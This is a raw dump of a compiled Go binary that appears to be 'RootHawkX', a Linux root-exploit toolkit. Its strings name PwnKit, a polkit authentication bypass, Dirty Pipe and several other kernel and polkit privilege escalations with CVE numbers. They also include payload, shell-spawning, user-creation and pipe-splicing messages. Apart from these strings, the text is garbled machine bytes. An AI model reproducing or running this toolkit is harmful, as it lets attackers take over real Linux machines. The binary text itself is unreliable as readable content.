W`,BdYp@-]`+G#F  F`G`D ]H , 1{@B|SYpA`^Ede[H[H]k]L`^ c`$4ܴU\BwY@pA`_A`_A`_pD`_kD`_ ~`_(~_0_1xp&pN5[@V8W8pB&@VBB I 8^_Df HXW*T,:ypPQN`~xpN ]N ]N ]N ] H \lBNpV ]$xV ](I')0g8`c c 9H H @J @J PQ PQ K H H &Q Q UK K (:[)0a 8` Y Y 9f f f f `Y `Y K g g &P[ P[ UA`Z)0I`{93O!HD '$)0P{93O!`HD ' )0P {93O!HD '4( FrOdE[\X[iE%DR`^ fL $k_03@k&C)0^c ,`$fU,)0~_ `|`| pvpv wwI W||;yy pxpxcO)0W|3O!p@D @(G@'44MGoE o|J E[0P_ 8P @P E Z$HP`(J`0 GKPWHlC l|;q_z_K_F_$K_+K_ F_2K_P_4, @]` h|a_a[a_ a[{_KZ[a_$r[(l_0(tBdT&ڌ  L|YI#N]^`pBN ]w ] ^f_$_%V_& /O/ x|I]1G`^W_ W]I \V \Z] \U_bg]JU( UJl] \r SP .i `<  D)0I_ 00  @@@l"@@ <08)0UJ`] \r SP .i `< )0|X`P P ` ` C3  J+` ` <J$3- {Yd5d$jY Pp5 `w,)0[f(W*#9@6G@W&@ $/)0MI]cP N"IW%ilC l CoCj 9K@lC] h_|Sq_}h_~P`_Z`_$z  NHScMY(1M#M * #+@L @$=~$BYY` @\MMNa T` }]$`],}_4_5 NG8<8f;CcUW  M@`lNeDJRJ O@N E](D],C]0E[4)I^`eY>@`^c ,`$fw 0py +.@"&@k7@@,&@w7@6.@*struct { F uintptr; X0 *struct { f func() go.shape.interface { Error() string }; once sync.Once; valid bool; p interface {}; result go.shape.interface { Error() string } }; X1 *[4]uintptr }IU)0ry܌ B B B@A/P@P@= 0AA2SSP^^h@<@<b@>>;PYPY[W]]KުB{Y`nY  @u`]}]9m`^ uH`^u`^u`^MESF<u@F\d`|XTUXTY m]e]v]m]'~] 4~](m]0e]8e]@>]Hc]PX ΒUe L`]G`]v`]A~`]N~`] `](s`]0`]8e`]@``]Hm`]Pl)00p` +.@"&@k7@@,&@w7@6.@ 6)x. FnJ`^_`^cE ]uJ`c O \ y \|J~JiO+Ccihc+$)0. F +?@M@8@3@8%DD\sU` M^NeLEX][g  p],g]0[_`]4 X`<)F@hTݏZpJ}0Y@ Q@@S@]8RD`]@eFHSLEPp\_TKE_U8M]X0Z]\S]`b\U}TY  m`]ne`] U`]xe`]v`] ](v]0%]86K@m]`#]h3Kp7!h)0P`| 3Ox!`p@`HD (G't.)0>mLU 0@K9@(@%0G(00ГГ;0W9Em)0V\ fG 8C0@v J @@`8X ((XAfc`Y L dH \H \L \\ \L]S ^ @`^c`^c`^`^|`^ t`^$<8oG"BhQ@Y (T ^c ^ C_c\ P ]`JcTM ^[M ^ bM$iM,0Tp4CG@8*_/0.@{`F J+?@M@8@3@``8%}]PI  CC< P@ p@ :Y)0]9 @8 8 X@7 7 p7 p7 (@9 @9 B*M*p: p: 1:`(; ; X* 7 7 ixJy)09W 9 X@< <  (`= `= r!@p> p>  ' ? ? A0= 0= 20"(@@ @@ {ǔ)0PI  CC< P@ P@ pZ)0ja 6@6 `"`" 00 @ ?0!0! P P $PP6C)0SL G  P P &@2 ?E@ @ E&.=f)0M$ X@  (@ @ r!@P P  ' A  20"(p p @<IOdQY ;@F#F?E 0}`]=}`]8T ]$c_(|Y_)\\*P,c0d4@8pp4~ fY CG@;@`Jw` XU_Ĵ_`_#w`_i$֫`]XnB`djd/w@"h;w&l44 7AXXY CjFQ[`^ \_@_A`^A_L`^ ă$c_(k_,wt_-pS_.|_/k_0,5I8ASQY k c ]oZ\E\| ] H ]S ] H ] \ ]c ] k\$Sd(oE`d)@>*k \+<4WklQY Q@@SxK \T_T_Y ]QH ] OG`]T`] @@j Cj$\D`^,A@0c@4sl8TR)0kqU c  ( `, ( Q0 &A @@G PPc9PP*(``\0 3AH#VZ sNzNV\N\N\N\ V\ (V\$N\(]\,]\00V\48V\86f\<N\@@V\DT0RD3T8W 8I[IV^ o]C]y Q[$ ,[x\8(o ]<O]@f]DS_HIeI]L^_Pカ)0Y   $ 00 @sR нн@  =5@O-ppK5RD&&q)0k ? C # J D#@F Q@  D4@` g^VZ``D]]\Ln? Wn ] 5F ]N ]D ]D ]5I] ]\(bn?*E`],]\4HV`]8;I@AIHGIPD]X:D)0\ M  @@@  s@ 1 @|@ 1 s$)0Q? C # ``J  D  #@F Q@  D4@@@(4eY@FT@`^BNv` AACG@]_H_H_H ] H`^$A(A`]dH`^lApA`]FTy,)0 ac݊   ?l'[9<&'0'8:'8(J``/vtPV[wXV_ `V_ ^_^_hV_MI]w_SI]mn w`^$`^(~`,~`8_D~` H~_T@f]XN`\ /kqU)@@1Jm_`] ,@ ]B ^BKBK0HD hHILL C8dI/hFp]lO_p!Ct(X |BCv_]h]?)0V` g ` ` @@@s@ 1 g2@(;@ XBOfBmf)0 I  ]`)3O8!I< D '@7 b" D)0Xypp   ], h, # @@C WPP#  @@K  c  v  #00$)078I.C8w?@  l?  (} PP`( TG)0?eLxl@SZ N't(/H@@f/SpV (J@Q  @@@s@ 1 g2@(;@ XBOfB#K)0:^M1fhn n /)P P y z :)  E)  VC C P)`? `? (     18)0 * Pp p @ @ 27*2  W \; 2 i;'pp^!0 0 ] )0@x 8 5Z [o8oN00~N[F pp 008ah   * Y 0F[uE C C[ K(Q`0Q`8sr`@5{LZP@TC@XC`Q!hjl t  !j`(,j( B{ O{\o_1)0( ]l 1 1      2 Ю Ю #1 0 0  Э Э P P   /1P P v ( < @` ` OA -1)0M^@ @*@}W0@!T]@eItI@S@`X@\ \ f(@!@2"A,)0HFF @*@}W0@!T]@eItI@S@`X@@ @ f(@!@2")0Nv'@7_  ($$r!@((.',, '((/**7 @20"(0.0./a 0#0#@F '( 1 1)0l &F @*@@}W0@!T]@eItI@S@`X@f(@!@2"<̛)0.`F @*@@}W0@!T]@eItI@S@`X@f(@!@2"47JX))X @xA@@P@@0@*H@ 0@A9 ')V`'X0@hN@0@SX@`A'e @ @(@h@]@:V@9H9A\@!``BtR Y``@F #F iHm`^ xT`^#| m\T\˞\Ou] m([u,gu0jd ]4T ]8su\<#m>xK?td \@ݞ_Aɶ\Bc`^DJ`^H}@L~d`PFT.m\)0/x v85 9@"@TF8pp[oN&/@<@ppBgPPFlPPlqq00 G%sa6)0l( (0 0 1:`( (  (  0 0 _1P P # # d @ @ )`% `%   n k10 0 2 #1 w1 )  fH` ` 1p p x 1@ @ >: <.)0M $ .@Z @X@ _  ( r!@ . (  ' 7  20 (` ` B*M*1:`(0 0 "( @P P .{`}i)0M%F @*@@}W0@!T]@hVeItI@0@S@`X@  f @(@h@]&!@2"k)0sU M!/@  39'@ЖЖ@/pp'ЩЩ@@NNR@ЛЛ/``?9  UPP@'\uppU  @  \  gppAa Aq00Vq00P#\@($tdn Y ..8kRc`| L (\ L (k 4!H @|`^LL`^PM`^TF`^XM`^\k`^`t`^dG`^hM`^l9D`^p'H`^t\c`^xk`^|1\`^fc`^C`^S`^M`^M`^S`^S`^S`^pc`^ } k l -H`t[llt[:\ \ >D_ t&lC\ F $ h `75Y..8@\Q ]F }l ] { ]'vA@{,T`0T4}`^HH9LZm PF\em]΄]d ]d ]HFQ]{N3veG ?v` } K T@D ܄`]L -X ` I `h <`]l [t D x N PÒ ]X e`\ S` dR Ӓ] `] m] 5] \_ Kv`] .] M| j)0h 0r%  @*xA@0@ }W0@!T]@0heItI@S `X@PPf @ @(@h@]\!@2"@Wox!rI0/0h 0r% F @*xA@0@ }W0@!T]@0heItI@S `X@f @ @(@h@]\!@pp2"@Wox!ui R (7d5@PrK@^= K$Nsp@K@D `Zj 3R@z@z@Y_YpKK0$K_Jd K IoK FzCRpnj@|}0]djz67)0y`M)N U \ c   (   ( AA:V\GM: ( 1:`(@ @ 1j G Hq S ( +Y:V\A4 (=>)0i|`M)N U \ c    ( AA:V\GM: ( 1:`(0 0 "(  1j G Hq S ( +Y:V\A4 (=ZQUY)0Go*$:u{n9Gw0? @ @ @ H u u 0t((((D` ` o o jA 0 0 I Z)0 M*N U \ c       (  ( A` ` A:V\G_ _ MP P :0 0 (p p 1:`(  "(  1j G Hv v q S ( s s +  Y:V\At t 4  (=@p @p n/0yM@M)(i wFN U \ c P P  (  (P P AA:V\GM: (0 0 1:`(Ќ Ќ 1j G Hq S ( +Y:V\A4 (=Kg/0i|M@M)(qwFN U \ c 0 0   (@ @ AA:V\GM: ( 1:`( "( 1j G Hq S ( +Y:V\A4 (=)0#Q.' @xA@@P@@0@*H@P P Q Q 0@A9 ')V`'X0@hN@0@SN N X@Q Q `A'eP P @ @(@N N h@]@:V@9H9A\O O N N @W0 0 o @R R x! ,k4Y#AALJ}`^W}`^ @TQHT@SpM ~l`^4l`^8l`^<d`^@wM_DP`Hl ]L9H]Pi{Xl`]\td\_ed}_f_g_h^_it_ju_k_l ml_nd_ou[p_q$d_rq} \s'`]tz`]|\{6 \_l_E_&aD ]PT\.d 8d`^Bd`^~M`^u]?H`^l\`^\`^p\\` XT_`Jl`]+u`\ 0TpM`|K`T`]7`^b()03T83(W3 `F @F$Nl9xW[uT/h[v~g800y[l@@~Ff3N 9<0??_/@s8Tf~`2u7  ??(J8j/YYu/@u@u/mm@v  8F0P0PSsxP33IG*I1+4G]D`]D C 8CFC W3 J [ @  ?  *a@hQ @@X " J,<9<@_ c3@ @?  g**"m@@so3 TC bn wn" ~_4Y .JJ@Y HQ ]PQ] Y(q@,Yv@C<H` `Fd[i{h ]l@ }pK }tF }x@`]|fi\a``r[K\K\qi\a_Y_z_|i[K_Y_r__a`r_–_i \`"a]F\ψ`+rF@YSi{,a`Y{z@<i ]hi ]li p7r_| `i` { i6a_ވ]ر`{ ]@aSKi`^i`^Ja{Cr`}XQ`^`Q`^Or``. Ta}CbYf i]L<]Ti<XF9C{)0T&L;/c 0 0 0 0 x.M 7  h& ( 7 (P P %M4M)EEA? :V\SE`^fkopCMW`r&. ( |&RMaM. ("EE@@ @ 6 & &7 pMZ .? )q)033`*I=/C 8CFCW3J [@  ? ? **a@hQ @@X " J,<9<@_ c3@ @? ?  g**"8XJ(Jm@@so3 TCbnwn"y# * ,k)0Q@iO{@ +5@3@3@"@@pC@@>@@ c 0@GP AZX9)VXm f ?)+dJ @@@[ [ X@[ [ "Y"`Ae @(@:V@9H9Ab*0k"3" 3~Cm<34+t} t P\ P\ i3sJ@z<@&"?+<@<<@] \r SP .i C `< { "kX@" O_ PpQX@iO4EbC_E`{@ +5@3@3@"@@pC@@>@@ c 0@GP@: < AZX9)VXm f = ?)+dJ @@@[ > X@[ > "p Y"`Ae @pB (@A :V@9H9Ab C *0k"3" 3~Cm<34+t} t P\ E i3sJG @z<@F &"PK ?+`, <@<<@@? ] \r SP .i C + `< { "kXE @"`F v)-=`+./]SM[1,>{}5LCPZ|#ypk-v []), )(: ..|0|1sh-c-occsu%v-s-q-e-l-n\xµTZ> ("")) ^ ) +: @s -> PB n=][} ] \u\U[ ] 25LlLtLuMnLCPePcCcScPdNdMePfCfPiNlZlSmLmSkPsLoNoPoSoZpCoZsMcCsCnYi!=>=<=~>" os\d\D\s\S\w\W\E:]/icowany%s [*][+]-pkintnilPWD../-O2CC=gcc386arm-O0ID=-QirpmapkMayUTC m=EOFmapptr...finobj() gc gp *(in n= - P MPC=], < end > ]: ???FP SP pc= G125625NaNHanLaoMroNkoVai): -%s+%sreddimadxaesshaavxfma/..net: ` listexec[-] trueuintwaitread/tmpHOMEopenstatsyncfilePWD=PATHrootaeaddpkginfosudo on JuneJuly in /etcboolint8chanfunccallkindallgallpitabsbrkidledead is LEAFheapbase at Has used of ) = <==GOGC] = s + ,r2= pc=: p=cas1cas2cas3cas4cas5cas6 m= sp= sp: lr: fp= gp= mp=bad ) m=Atoiquit3125-Inf+InfMarkAhomChamKawiLisuMiaoModiNewaThaiTotoUSERbluecyanbold<%s>%s%cermsfsrmsse3avx2bmi1bmi2timecap -> failpedit-execfalsevaluefloat -%sErrorchdirwritemkdir$HOMEchmodlstatclosegetwdpipe20.1130.119-Wallamd64arm64exp.c %s linuxMarchAprilLocalint16int32int64uint8arrayslice and defersweeptestRtestWexecWhchanexecRschedsudogtimergscanmheaptracepanicsleepgcing MB, got= ... objs max=scav ptr ] = (trap:init ms, fault tab= top=[...], fp:1562578125GreekOthercntrldigitpunctAdlamBamumBatakBuhidDograKhmerLatinLimbuNushuOghamOriyaOsageRunicTakriTamil$USERgreenblackwhiteblinksse41sse42ssse3matchrune pwnkitpkexecPwnKitbackuptargetUsage: %s Alias:Desc :string StringFormat[]byteTMPDIRremovewaitidspliceexec: -lutilpacmanLANG=C ValueSundayMondayFridayAugustGOROOTuint16uint32uint64structchan<-<-chansysmontimersefenceselectleaked, not object unused next= jobs= goid sweep B -> % util alloc free span= prev= list=, i = code= addr=], sp= m->p= p->m=SCHED curg= ctxt: min= max= bad ts(...) m=nil base hangupkilled/proc/errno 390625CommonLetterNumberSymbolArabicBrahmiCarianChakmaCopticGothicHangulHatranHebrewKaithiKhojkiLepchaLycianLydianRejangSyriacTai_LeTangsaTangutTeluguThaanaWanchoYezidiyellowbg-reditalichiddenrdtscppopcnt want cmd/gocryptonetdnsempty rune1 keysign%s %s -backup-targetUsage: float32float64 (trap chtimespkchecksu - %sTuesdayJanuaryOctoberinvaliduintptrChanDir Value>forcegcallocmWcpuprofallocmRunknowngctraceIO waitrunningsyscallwaitingforevernetworkUNKNOWNcleanup:events, goid= mark s=nil spans (scan MB in pacer: % CPU ( zombiegc bits, j0 = head = ,errno=panic: GODEBUG nmsys= locks= dying= allocseax ebx ecx edx edi esi ebp esp eip eflags cs fs gs signal Signal m->g0= pad1= pad2= minpc= value= (scan) types : type abortedstopped19531259765625ControlAvestanBengaliBrailleCypriotDeseretElbasanElymaicGranthaHanunooKannadaMakasarMandaicMarchenMultaniMyanmarOsmanyaSharadaShavianSiddhamSinhalaSogdianSoyomboTagalogTibetanTirhuta/bin/shmagentabg-bluebg-cyanreverseavx512fruntimeos/execfips140tls3destlssha1net/urlInstAltInstNopalt -> nop -> any -> copyfailCopyFailpintheftPinTheftdirtycbcDirtyCBCOptions:durationGoStringsignal: readlinkunlinkatopenfdatsendfile0.105-260.105-31roothawkVERSION=nil PoolThursdaySaturdayFebruaryNovemberDecember%!Month(scavengepollDescsynctesttraceBufdeadlockraceFinipanicnilcgocheckrunnable is not pointer, errno=BAD RANK status unknown(trigger= npages= nalloc= nfreed=) errno=runtime.[signal reflect.GODEBUG= newval= mcount= bytes, ----- stack=[ minLC= maxpc= stack=[ minutes status= etypes ParseIntstrconv.parsing no anode/uid_map/gid_map48828125ArmenianBalineseBopomofoBugineseCherokeeCyrillicDuployanEthiopicGeorgianGujaratiGurmukhiHiraganaJavaneseKatakanaKayah_LiLinear_ALinear_BMahajaniOl_ChikiPhags_PaTagbanwaTai_ThamTai_VietTifinaghUgariticVithkuqibad instdarkgreylightredbg-greenbg-blackbg-whiteoverflowavx512cdavx512bwavx512dqavx512vlgo/typesnet/httpgo/buildnetedns0tlsmlkemInstFailInstRune[:word:]copy-failcopy failCopy Failcopyfail2fragnesiaFragnesiapin-theftdirty-cbcdirtypipeRootHawkXExamples: method: (MISSING)%!(EXTRA fork/execcontinuedRemoveAllmkdirtemp#execwait/dev/null--versionPassword:dbus-sendexploit.cbad indirreflect: WednesdaySeptember-07:00:00Z07:00:00localtimecomplex64interfaceinvalid nfuncargs(InterfacetimerSendpollCacheprofBlockstackpoolhchanLeafwbufSpansxRegAllocspanSPMCsGC (idle)mSpanDeadinittracescavtracepanicwaitchan sendpreemptedcoroutinesignal 32signal 33signal 34signal 35signal 36signal 37signal 38signal 39signal 40signal 41signal 42signal 43signal 44signal 45signal 46signal 47signal 48signal 49signal 50signal 51signal 52signal 53signal 54signal 55signal 56signal 57signal 58signal 59signal 60signal 61signal 62signal 63signal 64copystackLINUX_2.6finalizer ms cpu, (forced) wbuf1.n= wbuf2.n= s.limit= s.state= B work ( B exp.) marked unmarked in use) , size = , tail = newosprocrecover: not in [ctxt != 0, oldval=, newval= threads=: status= blocked= lockedg=atomicor8 runtime= sigcode= m->curg=(unknown)total < 0traceback (leaked)(durable) labels:{} stack=[ gp.goid= lockedm=ParseBoolrwxrwxrwxinterruptbus error244140625InheritedSeparatorSurrogateBassa_VahBhaiksukiCuneiformKhudawadiMalayalamMongolianNabataeanPalmyreneSamaritanSundaneseunhandled/dev/ptmx/dev/pts/timed outlightgreylightbluelightcyanbg-yellowunderlinepclmulqdq/cpu.maxmath/randtlsrsakexInstMatchInstRune1[:alnum:][:alpha:][:ascii:][:blank:][:cntrl:][:digit:][:graph:][:lower:][:print:][:punct:][:space:][:upper:][:^word:]dirty fragcopyfail-2Dirty FragdirtycloneDirtyClonedirty pipeDirty Pipe(BADINDEX)%!(NOVERB)/dev/stdinreaddirent (deleted)pidfd_openpidfd_waitexecerrdotpackagekitroothawk%dpintheft.cempty linetime.Date(time.Local%!Weekday(short readcomplex128t.Kind == vgetrandomnotifyListprofInsertstackLargeNot workermSpanInUseGOMAXPROCSstop tracedisablethpinvalidptrschedtracesemacquiredebug callheap index dirty-clonepolkit dbus.WithCancelparse error%!(BADPREC)/dev/stdout/dev/stderrunreachablenil Context bytes ... ^[0-9\.\-]+/etc/passwd/usr/bin/sustat %s: %wopen %s: %wsync %s: %wfragnesia.ctime: file short writebad argSizemethodargs(assistQueuenetpollInitreflectOffsglobalAllocmSpanManualstart traceclobberfreegccheckmarkscheddetailunspecifiedcgocall nil s.nelems= of size ) returned runtime: p ms clock, nBSSRoots=runtime: P exp.) for minTrigger=GOMEMLIMIT=bad m value, elemsize= freeindex= span.list=, npages = , a123456=[ p->status= in status idleprocs= gcwaiting= schedtick= timerslen= mallocing=float64nan1float64nan2float64nan3float32nan2GOTRACEBACK) at entry+ (targetpc= , plugin: running < 0runtime: g : frame.sp=created by bad addressfile existsbroken pipebad messagealarm clockstack faulti/o timeout30517578125Math_SymbolPrivate_UsePunctuationDives_AkuruMedefaidrinNag_MundariNandinagariNew_Tai_LueOld_PersianOld_SogdianPau_Cin_HauSignWritingWarang_Citirandseednoplightyellowbg-darkgreybg-lightredend of filegocachehashgocachetesthttp2clienthttp2serverarchive/tartls10servercrypto/x509archive/zipInstCaptureInstRuneAny[:^xdigit:]dirtydecryptDirtyDecryptrun-internal %s %s %!(BADWIDTH)exit status can't happenreaddirnamesfstat %s: %wchmod %s: %wshort buffersweepWaiterscleanupQueuetraceStringsspanSetSpinemspanSpecialtraceTypeTabgcBitsArenasmheapSpecialgcpacertraceharddecommitmadvdontneeddumping heapchan receivesynctest.Runcleanup wait span.limit= span.state=bad flushGen MB stacks, worker mode nDataRoots= nSpanRoots= wbuf1= wbuf2= gcscandone runtime: gp= found at *( s.elemsize=scan: total scan: class B (∆goal , cons/mark maxTrigger= pages/byte s.sweepgen= allocCount page summarytimer_deletens} value: {}, want {r1= [recovered]bad recoveryGOTRACEBACK=bad g statusentersyscallwirep: p->m=) p->status=releasep: m= sysmonwait= preemptoff=cas64 failed m->gsignal=-byte limit runtime: sp=abi mismatchwrong timerstrace bufferillegal seekinvalid slothost is downchild exitedI/O possiblenot pollable152587890625762939453125invalid baseformatBase10Cased_LetterOther_LetterOther_NumberOther_SymbolSpacing_MarkCypro_MinoanMeetei_MayekPahawh_HmongSora_SompengSyloti_Nagrirandautoseedlightmagentabg-lightgreybg-lightbluebg-lightcyangotypesaliashttpmuxgo121multipathtcptlssecpmlkemtlsunsafeekmInstAltMatchunexpected )altmatch -> anynotnl -> dirty-decryptCVE-2021-4034cve-2021-4034CVE-2021-3560cve-2021-3560CVE-2022-0847cve-2022-0847-run-internalUsage of %s: (default %q) (default %v)stop signal: unimplementedPipe drained.create %s: %wLC_MESSAGES=C/etc/zoneinfo is too largewakeableSleepprofMemActiveprofMemFuturetraceStackTabexecRInternaltestRInternalGC sweep waitsynctest.WaitSIGQUIT: quitSIGKILL: killout of memory is nil, not value method heap metadata span.base()=bad flushGen created at: , not pointer != sweepgen MB globals, work.nproc= nStackRoots= flushedWork double unlock s.spanclass=GC span queue MB) workers=min too large-byte block (runtime: val=runtime: seq= failed with timer_settimefatal error: idlethreads= syscalltick=load64 failedxadd64 failedxchg64 failedmp.g0 stack [nil stackbase} sched={pc:, gp->status= pluginpath= : unknown pc called from runtime: pid=invalid base dalTLDpSugct?level 3 resetexchange fulltimer expiredsrmount errorpower failure3814697265625unknown errorLetter_NumberGunjala_GondiMasaram_GondiMende_KikakuiOld_Hungarianbg-lightgreenpath too longcrypto/subtlegocacheverifyinstallgoroothtml/templatetlsmaxrsasizeinvalid UTF-8CVE-2026-31431cve-2026-31431CVE-2026-43284cve-2026-43284cve-2026-43500CVE-2026-43503cve-2026-43503CVE-2026-46300cve-2026-46300CVE-2026-46331cve-2026-46331CVE-2026-46333cve-2026-46333CVE-2026-43494CVE-2026-31635.WithDeadline( (core dumped)/proc/self/exe ... omitting sudo -i; exit copy to %s: %wchtimes %s: %wdirtydecrypt.c on zero Valueunknown methodasynctimerchantime.Location(/etc/localtimeunexpected EOFunsafe.Pointerreflect.Value.userArenaStateGC (dedicated)read mem statsupdatemaxprocsgcstoptheworldprofstackdepthtraceallocfreeGC assist waitfinalizer waitsync.Cond.WaitSIGABRT: aborts.allocCount= Value of type runtime: mmap(nil elem type! to finalizer finalizers + GC worker initruntime: full=runtime: want=scan: class L MB; allocated allspans arrayno deferreturnbad restart PC, called from -thread limit stopm spinningruntime: p id nmidlelocked= needspinning= schedticks=[ randinit twicestore64 failedmemprofileratesemaRoot queuebad allocCountbad span statestack overflow untyped args out of range no module data in goroutine runtime: goid=invalid syntaxno such deviceis a directorytext file busyfile too largetoo many linkslevel 3 haltedlevel 2 haltedprotocol errortoo many userswindow changedunreachable: 1907348632812595367431640625Combining_MarkDecimal_NumberEnclosing_MarkLine_Separator\.+*?()|[]{}^$bg-lightyellowmalformed filesyscall failedcrypto/fips140mime/multipartx509sha256skidInstEmptyWidthssh-keysign-pwn/usr/bin/pkexec is not definednot a directorycopy_file_rangeaccountsservicefcntl error: %wFilling pipe...,M3.2.0,M11.1.0invalid argSizecomputeMaxProcsupdateMaxProcsGallocmRInternalGC (fractional)write heap dumpasyncpreemptoffcheckfinalizerstracebacklabelsforce gc (idle)sync.Mutex.Lockruntime.Goschedmalloc deadlockruntime error: scan missed a gmisaligned maskruntime: min = runtime: inUse=runtime: max = requested skip=bad panic stackrecovery failedmorestack on g0stopm holding pstartm: m has ppreempt SPWRITEmissing mcache?ms: gomaxprocs=randinit missed] morebuf={pc:: no frame (sp=runtime: frame ts set in timertraceback stuckruntime.gopanicunexpected kindno such processadvertise errornetwork is downno medium foundkey has expiredbad system call476837158203125invalid bitSizeCurrency_SymbolModifier_LetterModifier_SymbolNonspacing_MarkSpace_SeparatorHanifi_RohingyaPsalter_Pahlavibg-lightmagentanot in a cgroupincomplete linejstmpllitinterptarinsecurepathurlstrictcolonsx509keypairleafx509usepolicieszipinsecurepathLinux Kernel COW RootHawkX -any%s %s completed context canceledexec: no commandinvalid passwordSplicing data...splice error: %wwrite failed: %wCreating pipe...Pipe size is %d.Draining pipe...0800010000000010: value of type 0123456789abcdefinteger overflowdecoratemappingsgcshrinkstackofftracefpunwindoffGC scavenge waitGC worker (idle)page trace flushselect (durable)SIGNONE: no trapheap reservation/gc/gogc:percent, not a functiongc: unswept span KiB work (bg), mheap.sweepgen=runtime: nelems=workbuf is emptymSpanList.removemSpanList.insertbad special kindpage alloc indexbad summary dataruntime: addr = runtime: base = runtime: head = already; errno= runtime stack: invalid g statusGOTRACEBACK=nonebad g transitionschedule: in cgoreflect mismatch untyped locals missing stackmapbad symbol tablenon-Go function pointerless type not in ranges: sigaction failedinvalid argumentinvalid exchangeobject is remotemessage too longno route to hostremote I/O errorstopped (signal)2384185791015625invalid bit size0123456789ABCDEFDash_PunctuationLowercase_LetterOpen_PunctuationTitlecase_LetterUppercase_LetterImperial_AramaicMeroitic_CursiveZanabazar_Squareregexp: Compile(GODEBUG: value "allowmultiplevcscryptocustomrandhttpcookiemaxnum[bisect-match 0xInstRuneAnyNotNL RootHawkX -list0123456789ABCDEFX0123456789abcdefxreflect.Value.Intpidfd_send_signal os/exec.Command(exec: killing Cmdexec: not startedSetting up tty...Starting shell...create failed: %wAccept failed: %vExecuting payloadBackup failed: %vroothawk-pintheftreflect: call of reflect.Value.Lencorrupt zip file unknown type kindreflect: New(nil)containermaxprocsgoroutine profileAllThreadsSyscallGC assist markingselect (no cases)sync.RWMutex.Lockwait for GC cycletrace proc statusSIGINT: interruptSIGBUS: bus errorSIGCONT: continuesync.(*Cond).Wait: missing method invalid addrBytesinvalid wordBytesnotetsleepg on g0bad TinySizeClassimmortal metadataruntime: pointer g already scannedmark - bad statusscanObject n == 0swept cached spanmarkBits overflowruntime: summary[runtime: level = , p.searchAddr = futexwakeup addr=, 0, {interval: {ns}}, nil) errno=results: got {r1=internal/runtime/thread exhaustionlocked m0 woke upentersyscallblock spinningthreads=gp.waiting != nilunknown caller pcstack: frame={sp:trace arena allocruntime: nameOff runtime: typeOff runtime: textOff invalid bit size exec format errorpermission deniedno data availablestale file handlewrong medium type from a write of 1192092895507812559604644775390625Close_PunctuationFinal_PunctuationOther_PunctuationOld_North_ArabianOld_South_Arabianmultipartmaxpartsurlmaxqueryparamswinreadlinkvolumemissing closing )missing closing ]cve-2026-46331 cowcontext.Backgroundvalue out of rangeflag %q contains =flag redefined: %sreflect.Value.UintWriting payload...splice failed (%d)Sendmsg failed: %vBacked up %s to %scat /etc/*-releaseunknown time zone reflect.Value.Elemreflect.Value.Typereflect: Zero(nil)adaptivestackstartdontfreezetheworldtraceadvanceperiodtracebackancestorsgarbage collectionsync.RWMutex.RLockGC worker (active)stopping the worldwait until GC endssystem page size ( but memory size /gc/pauses:seconds because dotdotdotruntime: npages = invalid skip valueruntime: range = {index out of rangeruntime: gp: gp=runtime: getg: g=forEachP: not done in async preempt instruction bytes:mp.gsignal stack [bad manualFreeListruntime: textAddr frames elided... , locked to thread, synctest bubble input/output errorno child processesfile name too longno locks availableidentifier removedmultihop attemptedRFS specific errorstreams pipe errorconnection refusedoperation canceledsegmentation faultuse of closed file298023223876953125Caucasian_Albanian/cpu.cfs_quota_us/proc/self/cgroupx509negativeserialbufio: buffer full%s Running %s (%s) bad flag syntax: %sreflect.Value.IsNilreflect.Value.Floatexec: canceling Cmd[sudo] password forPlease wait ~60s...cve-2021-4034-poc.croothawk-pintheft-*/usr/lib/locale/TZ/reflect.Value.Bytesreflect.Value.Fieldreflect.Value.IndexstrongFromWeakQueueGC mark terminationsync.WaitGroup.Waitchan send (durable)SIGTRAP: trace trapwait for debug callcgocall unavailablepanicwrap: no ( in panicwrap: no ) in called using nil *unknown wait reasonnotesleep not on g0GC work not flushedunaligned sysUnused/gc/scan/heap:bytes/gc/heap/goal:bytes/gc/heap/live:bytesmarkroot: bad index, gp->atomicstatus=marking free object KiB work (eager), [controller reset]mspan.sweep: state=sysMemStat overflowbad sequence numberpanic during mallocpanic holding locksmissing deferreturnunexpected gp.parampanic during panic unexpected g status_cgo_setenv missing, g->atomicstatus=bad runtime·mstartm not found in allmstopm holding lockssemaRoot rotateLeftbad notifyList sizeruntime: preempt g0runtime: pcdata is skip this directorybad file descriptortoo many open filesdirectory not emptydevice not a streamdisk quota exceededillegal instructionstopped (tty input)/proc/self/uid_map/proc/self/gid_map14901161193847656257450580596923828125Initial_PunctuationParagraph_SeparatorCanadian_AboriginalKhitan_Small_Scriptuser: unknown user unexpected InstFail^\s*(%s)\s*(%s)\s*$wrong unescaped len/cpu.cfs_period_usembedfollowsymlinksgotestjsonbuildtextmultipartmaxheadersfile already existsfile does not existfile already closedpolkit:CVE-2021-3560kernel:CVE-2022-0847 %s Running %s (%s) flag: help requestedgnome-control-centerpipe read failed: %w ... wrote %d bytes/usr/share/zoneinfo/invalid write resultfloating point errorGC sweep terminationResetDebugLog (test)chan send (nil chan)flushing proc cachesSIGALRM: alarm clockSIGTERM: termination__vdso_clock_gettimeclose of nil channelnotetsleep not on g0bad system page size to unallocated span/gc/scan/stack:bytes/gc/scan/total:bytes/gc/heap/frees:bytes/gc/gomemlimit:bytesp mcache not flushed markroot jobs done pacer: assist ratio=workbuf is not emptybad use of bucket.mpbad use of bucket.bpruntime: double waitpreempt off reason: forcegc: phase errorgopark: bad g statusgo of nil func valueselectgo: bad wakeupsemaRoot rotateRightreflect.makeFuncStubtrace: out of memorywirep: already in goinvalid request codebad font file formatconnection timed outis a named type filekey has been revokedstopped (tty output)urgent I/O condition37252902984619140625Egyptian_HieroglyphsMeroitic_HieroglyphsAuthenticated as %s!zlib: invalid headerhttplaxcontentlengthx509usefallbackrootsexpression too largeinvalid repeat countflag %q begins with -%s flag redefined: %sreflect.Value.Complexexec: already startedfailed to create userpipe write failed: %wRead zlib payload: %vroothawk-dirtydecryptmay run the followingunsupported operation of unexported methodunexpected value stepreflect.Value.Pointernegative shift amountdataindependenttimingsystem goroutine wait/gc/heap/allocs:bytesruntime: work.nwait= previous allocCount=, levelBits[level] = runtime: searchIdx = profiler hash bucketsdefer on system stackpanic on system stackasync stack too large_cgo_unsetenv missingstartm: m is spinningstartlockedm: m has pfindRunnable: wrong ppreempt at unknown pcreleasep: invalid argcheckdead: runnable gruntime: newstack at runtime: newstack sp=runtime: confused by timer data corruptionbad type in compare: block device requiredread-only file systempackage not installedlink has been severedstate not recoverabletrace/breakpoint trapuser defined signal 1user defined signal 2virtual timer expired/proc/self/setgroups186264514923095703125931322574615478515625Connector_PunctuationAnatolian_HieroglyphsInscriptional_Pahlaviuser: invalid userid user: unknown userid Malformed version: %sconcurrent map 